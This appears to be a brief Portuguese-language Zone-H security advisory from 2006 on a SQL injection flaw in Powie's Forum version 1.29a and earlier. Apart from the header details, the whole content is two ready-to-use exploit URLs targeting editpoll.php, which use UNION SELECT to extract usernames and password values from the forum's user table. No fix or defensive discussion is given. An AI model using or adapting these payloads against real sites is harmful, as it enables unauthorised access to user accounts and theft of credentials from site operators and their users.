Zone-H - Unrestricted Information - Powie's Forum: Injeção de Codigos SQL

Powie's Forum: Injeção de Codigos SQL

Por Raphael Martins (Ashiyakuza)

17 de novembro de 2006

Nome do Script: Powie's Forum
Site do script: http://www.powie.de
Versão Afetada: 1.29a e anteriores

Encontrado por SHiKaA
Email: SHiKaA- [at] hotmail.com

Exploração:

http://www.site.com/[path]/editpoll.php?id=-1 UNION SELECT null,null,username,null FROM pfuser where id=1

http://www.site.com/[path]/editpoll.php?id=-1 UNION SELECT null,null,pwd,null FROM pfuser where id=1

< Anterior		Próximo >

[Voltar]